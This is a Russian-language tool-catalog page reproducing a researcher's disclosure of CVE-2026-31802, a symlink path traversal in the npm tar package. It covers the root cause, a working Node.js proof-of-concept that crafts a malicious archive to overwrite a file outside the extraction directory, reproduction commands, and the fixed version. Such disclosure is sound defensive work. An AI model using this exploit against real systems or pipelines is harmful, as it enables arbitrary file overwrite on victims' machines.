Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/jvr2022/cve-2026-31802
Анализ уязвимостейЭксплуатацияВеб-безопасностьБезопасность Цепочки Поставок
GitHubjvr2022/cve-2026-31802

CVE-2026-31802

Доказательство концепции и техническое описание для CVE-2026-31802, обхода пути через симлинк в npm tar, позволяющего произвольную перезапись файлов за пределами каталога извлечения.

Репозиторий
115 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-31802: tar Обход пути через символьные ссылки / произвольная перезапись файлов

Исследование: Joshua van Rijswijk

Описание

Этот репозиторий содержит мой proof of concept и описание уязвимости CVE-2026-31802 — критической уязвимости в npm-пакете tar (node-tar), затрагивающей версии <= 7.5.10.

Я обнаружил, что tar можно обмануть, заставив его создать символьную ссылку, указывающую за пределы целевой директории извлечения, используя относительный к диску целевой путь символьной ссылки, например C:../../../target.txt. На практике это позволяет выйти за пределы cwd при извлечении и превратить распаковку архива в примитив произвольной перезаписи файлов.

Ошибка достижима через обычное поведение извлечения при работе с управляемыми злоумышленником tar-архивами.

Предыстория

Изучая, как tar обрабатывает извлечение символьных ссылок, я заметил, что некоторые значения linkpath обрабатывались непоследовательно во время санитизации и валидации. В частности, относительные к диску пути, такие как:

root@kitploit:~
C:../../../target.txt

в итоге переписывались перед использованием, но не проверялись в той же форме, в которой они в конечном итоге сохранялись и применялись.

Именно это несоответствие делает ошибку эксплуатируемой.

Корневая причина

Уязвимость возникает из-за того, как tar обрабатывает специально созданные значения linkpath символьных ссылок при извлечении.

На высоком уровне логика извлечения удаляет префикс диска из пути вида:

root@kitploit:~
C:../../../target.txt

и переписывает его в:

root@kitploit:~
../../../target.txt

Однако проверка безопасности обхода пути выполняется для исходного значения до удаления префикса, в то время как создание символьной ссылки позже использует переписанное значение.

Это означает, что вредоносный архив может пройти валидацию, используя одну форму пути, но при этом создать символьную ссылку, которая выходит за пределы директории извлечения при записи на диск.

Схема эксплуатации

Вредоносный архив может содержать запись символьной ссылки следующего вида:

root@kitploit:~
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt

При извлечении с обычным использованием, например:

root@kitploit:~
tar.x({ cwd, file })

происходит следующее:

  1. Префикс диска удаляется из linkpath.
  2. Проверка выхода за пределы по-прежнему оценивает исходное значение.
  3. Запись принимается.
  4. Извлечённая символьная ссылка создаётся с переписанным путём обхода.
  5. Последующая запись через эту символьную ссылку достигает файла за пределами cwd.

Другими словами, логика извлечения проверяет одно значение, а использует другое. Этот разрыв создаёт примитив обхода пути.

Proof of Concept

Я написал следующий PoC, чтобы продемонстрировать, что извлечённую символьную ссылку можно заставить указывать за пределы корня извлечения, а затем использовать для перезаписи файла за пределами рабочей директории.

PoC:

  • создаёт ../target.txt
  • собирает вредоносный tar-архив с записью символьной ссылки по пути a/b/l
  • устанавливает linkpath в C:../../../target.txt
  • извлекает архив в текущую директорию
  • выполняет запись через a/b/l
  • подтверждает, что внешний файл был перезаписан

Скрипт PoC:

root@kitploit:~
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)

fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Воспроизведение

Установка уязвимой версии

root@kitploit:~
npm install [email protected]

Запуск PoC

root@kitploit:~
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Наблюдаемый вывод

root@kitploit:~
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt

PWNED подтверждает, что файл за пределами директории извлечения был перезаписан.

Вывод readlink и список файлов показывают, что извлечённая символьная ссылка указывает за пределы предполагаемого корня извлечения.

Влияние

Эта проблема даёт злоумышленнику примитив произвольной перезаписи файлов за пределами предполагаемой директории извлечения с правами процесса, выполняющего извлечение.

Реалистичные сценарии включают:

  • CLI-инструменты, извлекающие недоверенные tarball-архивы в рабочую директорию
  • конвейеры сборки и обновления, потребляющие сторонние архивы
  • сервисы, импортирующие пользовательские tar-файлы
  • инструменты разработчика, автоматически распаковывающие пакеты или артефакты

В таких средах специально созданный архив может привести к записи за пределы директории, которую приложение ожидает контролировать.

Затронутые версии

  • Затронуты: tar <= 7.5.10
  • Исправлено: tar 7.5.11

Исправление

Эта проблема была исправлена в 7.5.11.

Пользователям следует немедленно обновиться:

root@kitploit:~
npm install tar@^7.5.11

Ссылки

  • GitHub Advisory: GHSA-9ppj-qmqm-q256
  • CVE: CVE-2026-31802
Скачать инструмент